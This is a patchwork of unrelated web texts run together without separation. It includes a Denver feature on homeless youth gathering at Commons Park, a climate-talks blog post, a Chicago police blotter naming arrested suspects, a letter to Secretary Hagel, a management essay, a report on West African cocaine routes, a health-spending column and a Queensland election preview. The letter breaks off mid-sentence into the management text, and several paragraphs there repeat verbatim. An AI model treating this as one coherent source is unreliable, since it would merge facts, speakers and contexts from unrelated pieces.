“I was watching the snow coming down and them unloading the fences from the truck,” he recalls. A transplant from New Jersey who hit the road after the economy ate his pizza shop, Jackson had come to Denver ten months earlier and had quickly become a kind of advisor to the Stoner Hill community. To him, the objective of the new fence seemed obvious.
“The attempt was to push us out of the park in its entirety,” Jackson says.
City officials gave other reasons for the park’s closure. The simplest was physical repairs: There are no permanent paths to the top of the hill, so foot and government-vehicle traffic wear tracks through the grass. And someone had stripped the irrigation system of parts.
Beyond making said repairs, the parks department wanted to reduce illegal and forbidden activity in the park, including littering, public drug use and vandalism.
And some residents had deeper concerns about the Stoner Hill crowd itself. “It seems to be a benign group of people. Of course, when you have youth and you have drugs — legal or illegal — involved, there is a sense of unpredictability,” says RPA president Cohen. “But probably where the queasiness happens for most park users — it’s that sense of gathering. That can be intimidating, and it does make people uncomfortable.
“We walk an important line about First Amendment rights. People can be where they want to be — I get that. But there’s also the concept of quiet enjoyment.”
Don Cohen, a condo owner in the neighborhood, heads the Riverfront Park Association. Anthony Camera
The Riverfront Park Association began pushing for changes at Commons Park in 2014, and by this past spring, it was working hand in hand with the parks department.
“We are very anxious for the closing of the hill,” one member wrote in a March 24 e-mail to Scott Gilmore, the deputy director of Parks and Recreation, on March 24, a few weeks before the fence appeared.
The RPA is a private organization that was formed in 2001 for the 4,000 people who would one day live in East West Partners’ massive development project along the river. Today it has a yearly budget of about $1 million, which it gets from special assessments on businesses and landowners within its borders. The RPA fulfills some of the same roles as a business-improvement district — such as the Downtown Denver BID, which oversees the 16th Street Mall. The RPA, however, is defined as a homeowners’ association, meaning it has less city oversight and fewer powers.
The organization is governed by a board of landowners; some members represent the companies that own residential buildings in the area, while others, like Cohen, own individual condominiums. The group spends its budget largely on maintenance for common areas within the neighborhood, and paying for a constant patrol of off-duty Denver police officers. Those off-duty officers are primarily tasked with patrolling the neighborhood in a “defensive” routine, Cohen says, but they spend a significant amount of their RPA-funded time in Commons Park.
The association can’t order the off-duty officers to make arrests or take any particular action against Stoner Hill — Cohen says arrests wouldn’t help, anyway — but it certainly can encourage its part-time hires to supervise the hill.
“I think that is the best that can be done, since it’s not illegal to be a deadhead dropout,” the president of one building’s HOA wrote of this “babysitting” in an e-mail to the city.
The RPA is also associated with the Riverfront Park Community Foundation, which sends several hundred thousand dollars of the special assessments to nonprofits and public arts projects each year. Some of its grants go to groups that work with at-risk youth.
At home on Stoner Hill: Jacob Adams. Anthony Camera
After the fence was installed, the denizens of Stoner Hill moved their gathering a few hundred yards away: It was to be the summer of Stoner Flats. But the crowd stayed in Commons Park, largely undiminished.
As a result, by August the parks department was hearing requests from residents to open up the hill. Once again, the city was caught between competing demands.
“I want to pull the fence down, but they’ll go right back to the top of the hill,” Scott Gilmore told the Denver Post.
He was right. When the fence came down in October, a round of citations and a few arrests did little to slow the return to Stoner Hill. For street kids, this was still the best spot in town: Easy access to transit, a beautiful setting and a friendly crowd.
“It’s always going to be within a certain distance of where they can survive, which is downtown. They need to be close to downtown. They need each other. It’s unavoidable,” says Jordan Robinson, co-founder of Sox Place, the nonprofit at 2017 Lawrence Street where many from Stoner Hill stop to refuel and recharge during the day.
“When I come to here, I didn't find nobody. I didn't have no friends. I didn't know nobody.” Facebook
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Soon, though, the hill crowd noticed that something had changed while they were away: A camera was now staring at the hill — part of a half-built new system that will observe the park in exacting detail. The homeowners paid for the system through the Riverfront Park Association, but only the Denver police and the courts will have access to it.
Still, the surveillance did not pose a particular concern to the hill’s hardcore, and the reason for that cuts to the heart of this situation.
The most common crime on Stoner Hill is consuming marijuana in public. Public consumption is a petty offense, a class of criminal offense that can seem less than consequential for people with little to lose. Many on the hill don’t have identification, much less a bank account or résumé to be threatened.
Even the black-market reselling of weed doesn’t amount to a particularly serious crime. The cannabis generally comes from dispensaries, usually in small enough quantities to remain a misdemeanor. And most on the hill feel justified in flouting the law: They argue that the prohibition on public smoking is biased against the homeless, who enjoy a good buzz as much as anyone.
The police, then, can do relatively little to interfere with the gathering. In fact, police and park employees can be more of an asset than a threat to the young people on Stoner Hill, Jackson says. The patrols, like the community itself, represent protection from people addicted to harder drugs, and from the sexual predators who seek out the youngest people on the streets.
At the urging of Riverfront neighbors, the city has considered the expensive option of simply remodeling the hill.
As laid out in a parks-department budget proposal, the plan would have put $200,000 largely toward removing the depression that hides the top of the hill from sight. The department expected to pay for the project with funds it had set aside for improvements along the Platte River, but the effort was indefinitely delayed in favor of other projects, according to deputy director Gilmore. “That project will not move forward,” he says. “Right now we’re just trying to engage with the community and come up with some other possible solutions without having to do major renovations to the park at this time.”
In its place, the bureaucratic gears of the next plan are already turning. Fencing and landscaping having failed to change much, landowners and the city now want to redesign the park to attract new users.
“We’d really like to activate it more. We’d like to make it more family-friendly,” says Gilmore. “We’d like to just enliven it and invigorate it.” Those same words described the changes in Skyline Park; today the city and other organizations are also looking to “activate” the 16th Street Mall.
“You can't help but love the land, and how holy this land is. This is sacred land.” Facebook
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Cohen hopes that an influx of children and their parents would persuade the Stoner Hill crowd to move on; he doubts that a new park design could persuade the group to engage positively with neighbors. “I’d love to see it, but I take a thin view of it,” he says. “I think, for the level of trash that we see and just diminishment of facilities — they don’t respect it as I think they should.... Honestly, if they took a higher degree of civic ownership there, I could see a path to, you know, a very reasonable co-existence.
“But in the main, they’re more anti-societal,” he continues. “There’s definitely a bristling at authority; it’s like, ‘Well, this is my constitutional right.’ You know, when anybody gets their chest puffed up about that, already there’s a sense of aggression and not ownership. It’s the difference between ownership and entitlement. As a resident, we take ownership of wanting to keep our park well. These people, they feel they’re entitled to it.”
There have, however, been signs of cooperation since the fence came down. Those on Stoner Hill don’t generally jeer when police officers and park rangers come around, says one officer. The worst they do is poke a little fun. “Our parks staff has learned to work with them and be respectful of them. It seems that mostly, a majority of the time, that respect goes both ways,” Gilmore says.
When Stoner Hill asked for trash cans, Gilmore delivered. When the park bathrooms shut down for the season, he provided a portable toilet. Gilmore describes these moves as logical concessions that minimize the group’s impact on public land.
In turn, some of the regulars have made a habit of picking up the clothing and garbage that spreads across the summit. “Pick up your damn trash!” a kid called Nobody shouts to everyone one day. City workers also clean the hill, though it seems like nothing can stop the constant flow of cigarette butts to the ground.
EXPAND Sunset watchers gather on Stoner Hill. Andrew Kenney
Cohen has even asked whether the city could capitalize on its relationship with the people of the hill. Almost all of his group’s efforts to date, from the fence to police presence, have attempted to affect the group’s behavior “externally,” he noted in an e-mail to Gilmore. “So, what about the reverse?” Cohen continued. “My thought would be to create a pilot program where someone non-threatening approached some of the group and offered part-time work at $10 an hour for park cleanup. If we had a few take us up on that offer, I would hope that they might take on a little ownership.”
This already happens, on a very limited and individual basis. One Stoner Hill regular says he was offered a part-time job by a downtown maintenance employee who saw him collecting garbage. But the idea of a formal program ran into city concerns about liability, funding and supervision, according to Cohen.
And even if the program were offered, many on the hill might refuse the offer. Twenty-five-year-old Jacob Adams says that it’s not simple for many of his friends to just rejoin society. There’s a “fear,” he says, “to go back into that system — the system, the routine — all of that.
Because once you’re out here, you’re not judged. We all have been through our things. We don’t really judge each other, because we all know what we’ve suffered through. But society out there, they don’t understand it, or they choose not to. They turn a blind eye — and that’s why we have invisible children.”
About the only thing guaranteed to clear Stoner Hill is bad weather. The summer’s travelers peel off for California and Florida as the seasons turn. The high-school kids leave earlier each night.
And when a blizzard finally hits the weather forecast, the reality of each individual’s situation becomes rapidly apparent. Almost anyone with a friendly place to stay lays claim to it. People with money pool resources for motel rooms. A few ask aloud why they’re still in Denver. And a young woman named Sapphire asks why this is happening again.
“I have 475 friends on Facebook, and, like, not a single person could help me out,” she says before this season’s second storm hits. “And I was offering money. It’s not like, ‘Please give me this. Give me this.’”
The forecast is a heavy reminder of how isolating life on the streets can be. Sapphire has been in and out of temporary housing since she was fifteen, when she started clashing with the strict religious rules that govern her grandmother’s home in a Denver suburb.
“As a resident, we take ownership of wanting to keep our park well. These people, they feel they’re entitled to it.” Facebook
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“It was bad. I ruined everything in my life, but I’ve successfully been two years clean,” she says. She has a good job at an upscale eatery.
She and her boyfriend could even afford rent, but they can’t put together the extra $700 for the deposit. Rising housing costs have made it far more difficult to find a place, she explains. And a place to stay is the first step toward getting her high-school diploma — she once was on track to graduate early — and move on up. “I’ve always wanted to go to college, since I was little, little,” Sapphire says.
First, though, she has to deal with the storm. Like most young people, she and her boyfriend avoid the regular shelters. The nonprofit Urban Peak runs a forty-bed youth shelter, but it doesn’t accept people over the age of twenty and can’t legally take on overflow crowds.
So Sapphire and Nachi prepare for a night outside. The key will be to stay dry through the rain, so that wind and snow don’t freeze them later. They figure they’ll head to one of a few places where they know they won’t be bothered — along the river, or maybe in a downtown doorway.
This uncertainty is a fact of life on Stoner Hill. It’s often impossible to know where your friends have gone, or if they’re safe, on any given night.
“It’s really terrifying,” seventeen-year-old Lyllée says as the storm approaches. She lives with her mother and frequents the hill, where she tries to help her friends close the emotional gaps that can form during a life on the streets. “For the people I’ve come to create an actual emotional connection with — I don’t know if they’re going to be alive tomorrow,” she says.
Fortunately, a friend offers to share a motel room (and its bill) with Nachi and Sapphire. They’ll pay their share the day after the storm, when Sapphire’s paycheck clears. It will be a place to stay for a few more days — but it can’t delay winter and the trials ahead.This Friday, the United Nations international climate negotiations will gear up again in Bonn, Germany. The meeting — and the announcements and news that will surround it — will be an important gauge of whether the international climate process still shows signs of life. Early indicators seem to suggest that there's at least a pulse.
It's been just over 4 months since the Copenhagen climate talks ended in confusion and disorder, failing to deliver the international climate treaty many of us had hoped (and worked) for. Copenhagen left the UN metaphorically bruised and battered (the adjectives were literal for many protesters outside the conference) and in the final hours of the talks and weeks to follow, many doubted that the international climate process would continue at all. For one particularly insightful postmortem with an emphasis on implications for the climate justice movement, click here.
In the last few weeks, the climate talks have shown a few signs of life.
First, was the creation in early March of a high-level advisory group on climate finance, including civilians such as George Soros and Nicholas Stern, along with heads of state, such as the UK's Gordon Brown and Ethiopia Meles Zenawi. The group has been tasked with finding $1 trillion worth of financing for adaptation and are considering a number of different schemes, including the Robin Hood Tax, which has gained some traction in the online world as well.
Second, was a recent statement by the UK that they would be willing to sign onto a new round of the Kyoto Protocol. Without delving into the specifics, one of the major dilemmas in Copenhagen was the divide between rich and poor nations over whether or not the meetings would produce a new treaty that would require major developing countries to take on commitments while weakening the legal obligations of rich countries or whether countries would just sign onto a "second commitment period" of the existing Kyoto Protocol which is set to expire in 2012.
Britain's new willingness to sign onto Kyoto has been lauded by some as a step towards healing the divide between rich and poor. Andy Atkins, Friends of the Earth's executive director, said: "It's positive that the government has restated its commitment to the Kyoto protocol, which enshrines the responsibility of rich countries, as the biggest historical polluters, to slash their emissions first and fastest."
Also keeping things interesting on the international front is the move by Bolivia to host a People's Summit on Climate Change in Cochabamba later this month. Bill McKibben, founder of 350.org, who will be hosting a youth summit in Cochabamba to coincide with the event, wrote in a recent piece on Huffington Post:
In a week when the American president has decided our energy policy should involve lots more offshore oil drilling, it's easy to despair–it doesn't look like it's going to be much of an Earth Day in the U.S. this April. But maybe we'll get a jolt of political energy from the south, courtesy of the groups and leaders assembling from across the world in Cochabamba, Bolivia. This People's Summit on Climate Change will be seen as naive by precisely the kind of people applauding the president for turning on the oil spigots today–after all, its by definition a People's Summit, free from the kind of corporate interference that helped sink the Copenhagen conference in December (Bolivia's Supreme Court having not yet decided that corporations are people).
And then there's been the massive drought in southwestern China, mining disasters from West Virginia to Shanxi, the crash of a coal ship into the Great Barrier Reef, Obama's offshore drilling announcement (join the 20,000 strong Facebook group against the decision), and the impending decision by the World Bank whether or not to loan South African coal giant, Eskom, $3.5 billion to build new dirty coal fired power plants and nuclear facilities (you can sign a petition against the loan here).
All that's to say that things are heating up again in the international climate change arena.
For those of you that followed the nail biter that was Copenhagen and have been recovering ever since, now's a good time to get back in the game — checking out the 10:10 campaign and 350.org's Get to Work campaign are two ways to start. As is keeping up to date with the discussions in Bonn by following Adopt a Negotiator, either on their blog or Twitter feed. At the end of Copenhagen, youth from around the world told political leaders they were "Not Done Yet."
Looks like they were right.A MAN WAS fatally shot in an apparent gang-related shooting at about 3:25 a.m. Saturday, March 12, in the 3200 block of West Addison Street, according to 17th (Albany Park) District police.
A 30-year-old man reported that as he was walking with his 22-year-old friend, a dark blue Chevrolet Blazer stopped and an occupant of the car asked their gang affiliation, then several shots were fired from the vehicle, according to police. The man, who was pronounced dead at Illinois Masonic Hospital, was the focus of community concern for allegedly selling drugs to drive-up customers in the alley behind his home, police said.
The deceased man was identified by police as Ricardo Montes, age 22, of the 3700 block of West Addison Street.
A MAN WAS killed and a second man was seriously wounded in an apparent gang-related shooting at about 2:50 p.m. Sunday, March 20, according to 17th (Albany Park) District police.
A 23-year-old man who was shot in the side of his chest was pronounced dead, and a 29-year-old man was shot in the foot, the leg and the abdomen and was admitted to Illinois Masonic Hospital in critical condition, police said.
Witnesses reported that they saw a man ride up on a bicycle and fire at the two men, police said.
The deceased man was identified by police as Christian Ortiz, age 23, of the 2400 block of West Bryn Mawr Avenue.
A MAN REPORTED that two men fired shots at his car as he was driving in the 3600 block of West Belmont Avenue at about 7:50 p.m. Sunday, March 20, according to 17th (Albany Park) District police.
The 32-year-old man reported that as he was driving with his wife and three children, two men in a Chevrolet van fired shots at his car, according to police. A front tire was shot out and there was damage to the passenger-side door, but no one was injured, police said.
A MAN WAS stabbed at about 9:15 p.m. Sunday, March 20, in the 6200 block of North Lowell Avenue, according to 17th (Albany Park) District police.
The 39-year-old man reported that as he was walking his dog, a man approached him from behind and stabbed him in the back, according to police. The man was treated at Resurrection Medical Center, police said.
SHOTS WERE reported at about 11 p.m. Saturday, March 19, in the 4600 block of North Saint Louis Avenue, according to 17th (Albany Park) District police.
Officers discovered three shell casings at the intersection of Wilson and Saint Louis avenues, and callers reported that they saw a white vehicle speed off, according to police.
A MAN WAS arrested after he allegedly attempted to rob a woman at about 5:30 a.m. Thursday, March 17, in the 3400 block of West Wilson Avenue, according to 17th (Albany Park) District police.
A man reported that he heard a woman screaming and saw her struggling with a man and that he separated them, according to police. The 27-year-old woman reported that the man threatened her with a hammer and demanded her belongings and that she grabbed the hammer and a struggle occurred, police said.
The suspect was identified by police as Mohammed Alikhan, age 23, of the 900 block of North Northwest Highway, Park Ridge.
A MAN REPORTED that he was robbed at about 3:20 a.m. Sunday, March 20, in the 3700 block of North Cicero Avenue, according to 17th (Albany Park) District police.
The 35-year-old man reported that as he was walking, a blue Chevrolet Blazer stopped and two men in the vehicle displayed handguns and took his cell phone and $60 in cash, according to police.
A DELIVERY driver reported that he was robbed at about 12:40 a.m. Wednesday, March 23, in the 4300 block of North Francisco Avenue, according to 17th (Albany Park) District police.
The 53-year-old man reported that as he was delivering a pizza, two men approached him, displayed handguns and took his cell phone and $160 in cash, according to police.
A WOMAN reported that she was robbed at about 1:15 p.m. Wednesday, March 16, in the 4700 block of North Monticello Avenue, according to 17th (Albany Park) District police.
The 43-year-old woman reported that a man pushed her to the ground and took her purse containing her checkbook and $300 in cash, according to police.
A WOMAN reported that her home in the 6200 block of North Tripp Avenue was burglarized between 6:30 a.m. and 6:15 p.m. Monday, March 21, according to 17th (Albany Park) District police.
The woman reported that when she returned home she discovered that the basement door had been forced open and that a necklace valued at $2,000, a watch valued at $7,000, a ring valued at $500, a laptop computer valued at $700 and $9,000 in cash were missing, according to police.
A MAN REPORTED that his home in the 4600 block of North Kenneth Avenue was burglarized between 8:15 a.m. and 10:45 a.m. Wednesday, March 16, according to 17th (Albany Park) District police.
The man reported that when he returned home he discovered that the front and rear doors had been forced open and that two Xbox video game consoles valued at $700, video game console controllers valued at $480, video games valued at $800, gym shoes valued at $200 and two laptop computer valued at $1,000 were missing, according to police.
A MAN REPORTED that his home in the 4100 block of West Roscoe Street was burglarized between 8:50 a.m. and 10:40 a.m. Friday, March 11, according to 17th (Albany Park) District police.
The man reported that when he returned home he discovered that a front window had been forced open and that two guitars, a saxophone, a television set, an Xbox video game console and a set of knives were missing, according to police.
A WOMAN reported that her home in the 3700 block of North Kilpatrick Avenue was burglarized at about 6:40 p.m. Sunday, March 13, according to 17th (Albany Park) District police.
The woman reported that when she returned home she discovered that both the front and rear doors were chained from the inside and that after she climbed into through a window she discovered that a necklace valued at $200, a ring valued at $100 and earrings valued at $150 were missing, according to police.
LINCOLNWOOD
A MAN WAS charged with aggravated assault following his arrest at about 8:35 p.m. Saturday, March 19, near McCormick Boulevard and Touhy Avenue, according to Lincolnwood police.
A 26-year-old man reported that after he accidentally cut off another vehicle in traffic, the other driver drove next to him and displayed a handgun, according to police. The man said that he followed the other vehicle until he flagged down a squad car and motioned toward vehicle ahead of him, and the officer stopped the vehicle, police said. A handgun was found inside the vehicle, police said.
The suspect was identified by police as Johnny R. Butcher, age 26, of the 6100 block of North Richmond Street.
A MAN WAS charged with driving under the influence of alcohol following his arrest at about 12:10 a.m. Friday, March 18, in the 5000 block of West Devon Avenue, according to Lincolnwood police.
Officers stopped a vehicle that was speeding and that changed lanes without a signal, and the driver was arrested after he failed sobriety tests, according to police.
The suspect was identified by police as Paul J. Kondos, age 36, of the 6100 block of North Springfield Avenue.
A WOMAN was charged with driving under the influence of alcohol following her arrest at about 3:25 a.m. Saturday, March 19, in the 6900 block of North Lincoln Avenue, according to Lincolnwood police.
An officer stopped a vehicle that twice crossed the center line, and the driver was arrested after she failed sobriety tests, police said.
The suspect was identified by police as Araceli Garcia, age 34, of the 3700 block of West Eddy Street.
A HOME IN the 7000 block of North Kilpatrick Avenue was burglarized at about 3:10 p.m. Monday, March 21, according to Lincolnwood police.
Officers responding to an alarm discovered that a side door had been forced open, according to police. The home owner could not determine if anything was missing, police said.
A neighbor reported that she saw a man in a black older-model pick-up truck parked in front of the residence and that the man sounded the horn when he saw her as if to give a warning to someone, police said.
A MAN WAS charged with possession of cannabis following his arrest at about 2:50 a.m. Sunday, March 20, in the 3300 block of Northeast Parkway, according to Lincolnwood police.
An officer stopped a vehicle that was speeding, and the driver was arrested after the officer smelled the odor of marijuana and discovered two plastic bags containing approximately 15 grams of marijuana, according to police.
The suspect was identified by police as Lusher L. White Jr., age 28, of the 3400 block of West Bryn Mawr Avenue.Monday, April 29, 2013
The Honorable Chuck Hagel
Secretary of Defense
1000 Defense Pentagon
Washington, DC 20301-1000
Dear Secretary Hagel,
It has been brought to the attention of the Military Religious Freedom Foundation (MRFF) that the guest speaker for this year's annual Fort Leonard Wood, Missouri, National Prayer Breakfast, to be held on the National Day of Prayer, May 2, 2013, is Mr. David Barton.
For the following three reasons, Mr. Barton is an egregiously inappropriate speaker for this or any other military event:
1) his open contempt for and denigration of the President and other government officials;
2) his denigration of faith groups other than his own; and,
3) his revisionism of American history.
Article 88 of the Uniform Code of Military Justice (UCMJ) states that:
"Any commissioned officer who uses contemptuous words against the President, the Vice President, Congress, the Secretary of Defense, the Secretary of a military department, the Secretary of Transportation, or the Governor or legislature of any State, Territory, Commonwealth, or possession in which he is on duty or present shall be punished as a court-martial |
good leader. We typically would not appreciate real leadership in today’s world as a majority of the organizations are over managed and under led, and managing everything is the central value. It’s hard to get expect a drastically different act from somebody one who has been appreciated more than two decades for being thoughtful and judicious.
A few ways to establish a sense of urgency are discussed below:
Create a predicament by making an organizational fiasco visible. Most businesses attempt to cover-up, obscure, or tone down organizational failures. So, if a key milestone like a product delivery date is missed instead of creating an excuse and blaming it square on the gridlock in the legal department, the failure has to be focused on, talked about, and used as leverage to shock people, so that they start thinking and talking about change.
Most businesses attempt to cover-up, obscure, or tone down organizational failures. So, if a key milestone like a product delivery date is missed instead of creating an excuse and blaming it square on the gridlock in the legal department, the failure has to be focused on, talked about, and used as leverage to shock people, so that they start thinking and talking about change. Share data about economic performance and customer satisfaction index throughout the organization. This is another area where there is confusion to be found. It is difficult for most employees of the organization to feel a sense of urgency when the senior management is continuously communicating to the stakeholders that ‘all is well’. Economic performance and customer satisfaction data has to be shared across the organization so that everyone is conversing from the same point of reference.
This is another area where there is confusion to be found. It is difficult for most employees of the organization to feel a sense of urgency when the senior management is continuously communicating to the stakeholders that ‘all is well’. Economic performance and customer satisfaction data has to be shared across the organization so that everyone is conversing from the same point of reference. Provide people with maximum information on the upcoming opportunities. All stakeholders have to be informed continuously about the many rewards for taking advantage of those opportunities, and the fact that the organization is mostly unable to fully utilize those opportunities. Apart from this, the shortcomings also need to be highlighted. This leads people to start asking questions, which in turn motivate them to become more competitive. They will try to go after the market opportunities.
This is how urgency may be increased. After all, creating a sense of urgency paves the way for sowing the seeds of successful change in an organization.NAIROBI, Kenya — International drugs cartels have established a firm foothold in West Africa, using ships, low-flying airplanes and submarines to transport cocaine from Latin America to Africa, according to a new report by the United Nations.
(Read More: Drug cartels "using subs" in West Africa)
West Africa risks being thrown into new turmoil and conflict by the drug cartels, whose trade is often worth more than the economies of the countries in which they operate.
Africa-wide figures contained in a report published Thursday by the United Nations Office on Drugs and Crime show that cocaine seizures have fallen from a record high of 5,500 tons in 2007 to only 956 tons in 2009, the most recent year for which statistics are available. But fewer seizures doesn't necessarily mean fewer drugs are being trafficked.
“The role of West Africa in cocaine trafficking from South America to Europe might have decreased if judged from seizures only, but there are other indications that traffickers may have changed their tactics, and the area remains vulnerable to a resurgence in trafficking of cocaine,” the U.N. report says.
Earlier this week Alexandre Schmidt, the U.N. organization’s regional head, refused to be buoyed by the apparent fall in quantities of cocaine trafficked.
“It means there has been a repositioning of the drug routes and the drug traffickers have much more sophisticated means and they are using more routes," he told a conference in Dakar, Senegal.
Schmidt warned that cartels are probably using submarines to evade detection.
“We are not talking about military vessels here, but rather smaller ones which can be bought freely on the international market by anybody who has a couple of million dollars to spare,” he said. A number of drug-smuggling submarines have been discovered in Latin America.
In a country like Guinea-Bissau, infamously dubbed Africa’s first narco-state a few years ago, the value of drugs is greater than the country's entire legitimate economy. Cocaine transiting West Africa in 2009 was worth an estimated $800 million, while Guinea-Bissau’s economy is valued at a little over $300 million a year.
Across West Africa huge drug busts of tons of cocaine at a time are the trace left by drug cartels from South America that have established themselves as they open up a new route for transporting cocaine. But Schmidt said that West African criminal gangs were increasingly in charge of the trade.
"This is a new tendency, and what we are seeing in West Africa is like what we saw in Mexico,” he said referring to the takeover of the drugs trade by Mexican gangs that supplanted Columbian cartels.
In the state of Guinea, even the family of ex-president Lansana Conte was in the drug trade: his son Ousmane was outed as a drug kingpin soon after his father’s death in 2009.
Ghana is another country affected by drug trafficking.
Colombia produces about 80 percent of the world’s cocaine, according to Interpol, with plantations in neighboring Peru and Bolivia also supplying the global market. The United States remains the single largest cocaine market in the world, consuming over a third of the supply. But Western Europe — led by Britain — is fast catching up.
In recent years, effective patrolling of traditional trans-Caribbean and trans-Atlantic smuggling routes has forced the cartels to seek out new paths, which is where West Africa comes in: the shortest line of latitude westwards from the ports and airstrips of South America reaches land in Guinea-Bissau.
An “emerging trend,” says Interpol, is the shipment of cocaine through West Africa, a trend that is supported by the new U.N. report.
About 13 percent of the 217 tons of cocaine exported from South America and destined for Europe is sent via West Africa, the U.N. report claims.
Refined cocaine is transported by sea and air from South America to West Africa where it is stockpiled. Tons of cocaine are loaded onto "mother ships," which transfer the cargo to local trawlers off the African coast. Another transport method is to fly the drugs over the Atlantic by unscheduled light aircraft, modified with extra fuel tanks for the long journey. The plans cross the ocean below radar.
In 2009 investigators found a Boeing 727 that had been used to transport cocaine abandoned in the deserts of Mali, suggesting a growing boldness on the part of traffickers.
The cartels work with local criminal gangs and corrupt officials; some consignments are handled by corrupt armies, customs and police forces.
Plastic-wrapped cartons, each containing up to 50 1-kilogram bars of cocaine, are split up and distributed by criminal gangs that transport the drugs to Europe using speedboats, trans-Sahara trucks, light aircraft and human couriers, known as "mules," who board commercial flights to traffic the drugs to Europe.
Some suspect that Al Qaeda in the Islamic Maghreb (AQIM) might be supplementing the funds it raises through kidnapping by involvement in the drug trade. But Schmidt said there is, so far, no proof.
“The terrorists are facilitating the passage of the traffickers... and they receive a payment, either in cash or kind. But we don't have any proof that the terrorist groups are organizing the drug trafficking themselves,” he said.
Once across Africa's Sahara desert, Spain is the traditional entry point into Europe. But there is evidence that drugs are also going to Italy’s Calabrian mafia, Irish gangsters and Balkan mobsters.
A worrying new development is the growing consumption of cocaine in West Africa itself. Of the 35 tons of cocaine estimated to have reached West Africa in 2009, only 21 tons continued on to Europe, meaning the remainder was probably sold and consumed locally in Africa, according to the U.N.
It is a fresh scourge that West Africa, emerging from a series of civil wars and economic decline, can scarcely afford.By Robert Samuelson - December 7, 2009
WASHINGTON -- President Obama's critics sometimes say that he is engineering a government takeover of health care or even introducing "socialized medicine" into America. These allegations are wildly overblown. Government already dominates health care, one-sixth of the economy. It pays directly or indirectly for roughly half of all health costs. Medicine is pervasively regulated, from drug approvals to nursing home rules. There is no "free market" in health care.
What's actually happening is just the reverse, which is more interesting and alarming: Health care is taking over government. Consider. In 1980, the federal government spent $65 billion on health care; that was 11 percent of all its spending. By 2008, health outlays had grown to $752 billion -- 25 percent of the total, one dollar in four.
Even without new legislation, the health share would grow, as an aging population uses more Medicare (insurance for the elderly) and Medicaid (the joint federal-state insurance for the poor, including the very poor elderly). Obama would magnify the trend by expanding Medicaid and providing new subsidies for private insurance. Thirty million or more Americans would receive coverage.
All this is transforming politics and society. The most obvious characteristic of health spending is that government can't control it. The reason is public opinion. We all want the best health care for ourselves and loved ones; that's natural and seems morally compelling. Unfortunately, what we all want as individuals may harm us as a nation. Our concern sanctions open-ended and ineffective health spending, because everyone believes that cost controls are heartless and illegitimate. The recent furor over proposals to reduce mammograms captures the popular feeling.
One consequence is a slow, steady and largely invisible degradation of other public and private goals. The historian Niall Ferguson, writing recently in Newsweek, argued that the huge federal debt threatens America's global power by an "inexorable reduction in the resources" for the military. Ferguson got it half right. The real threat is not the debt but burgeoning health spending that, even if the budget were balanced, would press on everything else.
"Everything else" includes universities, roads, research, parks, courts, border protection and -- because similar pressures operate on states through Medicaid -- schools, police, trash collection and libraries. Higher health spending similarly weakens families' ability to raise children, because it reduces households' discretionary income either through steeper taxes or lower take-home pay, as higher employer-paid premiums squeeze salaries.
A society that passively accepts constant increases in health spending endorses some explicit, if poorly understood, forms of income redistribution. The young transfer to the elderly, because about half of all health spending goes for those 55 and over. Unless taxes are increased disproportionately for older Americans (and just the opposite is true), they are subsidized by the young. More and more resources also go to a small sliver of the population: In 2006, the sickest 5 percent of Americans accounted for 48 percent of health spending.
Political power in this system shifts. It flows to groups that promote and defend more health spending -- AARP, the lobby for Americans 50 and over, and also provider organizations such as the American Medical Association (AMA), which represents doctors. Predictably, AARP has been active in the present debate. It claims to have participated in 649 town-hall and other meetings and to have reached more than 50 million people through ads this year. Not surprisingly, AARP and the AMA recently conducted a joint TV ad campaign.
The rise of health care nation has confounded America's political and intellectual leaders, of both left and right. No one wants to appear unfeeling by denying anyone treatment that seems needed; no one wants to endorse openly meddling with doctors' independence. It's easier to perpetuate and enlarge the status quo than undertake the difficult job of restructuring the health care system to provide better and less costly care.
Obama's health care proposals may be undesirable (they are), but it's mindless to oppose them -- as many Republicans do -- by screaming that they'll lead to "rationing." Almost everything in society is "rationed," either by price (if you can't afford it, you can't buy it) or explicit political decisions (school boards have budgets). Health care is an exception; it enjoys an open tab. The central political problem of health care nation is to find effective and acceptable ways to limit medical spending.
Democrats are no better. Obama talks hypocritically about restraining deficits and controlling health costs while his program would increase spending and worsen the budget outlook. Democrats congratulate themselves on caring for the uninsured -- who already receive much care -- while avoiding any major overhaul of the delivery system. The resulting society discriminates against the young and increasingly assigns economic resources and political choice to an unrestrained medical-industrial complex.The last Queensland election, in early 2015, saw the election of a new Labor government after one term of Liberal National government. The LNP had won a landslide victory in 2012, but a swing of 14% back to Labor gave it two more seats than the LNP, and a deal with an independent brought the party back to power.
Polls have generally indicated the election will be close, with most polls putting the parties between 48% and 52% after preferences. The latest Newspoll put Labor on 52% after preferences, while a recent ReachTel poll gave 52% to the LNP.
One Nation has also been polling well all year. The party began to perform more strongly after its surprise result at the 2016 federal election. It polled above 20% in a pair of polls at the beginning of 2017, and over the course of the rest of the year has polled between 15% and 18%.
Where the 2017 Queensland election will be won and lost Read more
The presence of One Nation makes it hard to analyse the polls – it’s not clear how those One Nation preferences will flow, between Labor and Liberal National. Roughly half of One Nation preferences in the last federal election flowed to Labor, and their preference recommendations can make a big difference.
One Nation first broke through at the Queensland state election in 1998, when they polled above 22% and won 11 seats. The party is not polling quite as well this year, but if they manage 15%-18% of the vote they would likely win a handful of seats. A lot will depend on how many preferences they receive from the major parties, and whether they can hold on to their vote. Polling before this year’s Western Australian state election predicted a One Nation vote well over 10%, but the party managed just over 8% in the upper house.
Katter’s Australian Party (KAP) and the Greens are also hoping to have an impact in the next parliament. KAP holds two seats in north Queensland, although one of them is more vulnerable after the redistribution. The Greens do not hold any seats, but are targeting a number of inner-Brisbane electorates, buoyed by their first breakthrough on Brisbane City council last year.
A change in the voting system also makes it harder to predict this election. Until 2015, Queensland voters were not required to mark preferences on their ballot – if they chose to do so, they could just vote 1. This traditionally meant that many minor party voters did not end up making a choice between the major parties – One Nation voters in 1998, and the Greens more recently. The law was changed in the last term to make preferences compulsory, which means more of those preferences will flow.
Queensland’s electoral map has been redrawn since the last election, increasing the seats from 89 to 93. This increased Labor’s seat count by four, while the other parties maintained their existing seats. This means that Labor would have won a majority of the new seats on the results of the last election.
Queensland Labor keeps promise on Great Barrier Reef coal-ship loading ban Read more
But Labor can’t count on all of the seats it won in 2015. Three of the MPs who won seats at the last election are no longer members of the ALP: Billy Gordon in Cook was expelled in 2015, and Cairns MP Rob Pyne quit the party in 2016. Controversial Pumicestone MP Rick Williams was disendorsed late last week, leading to his resignation from the party.
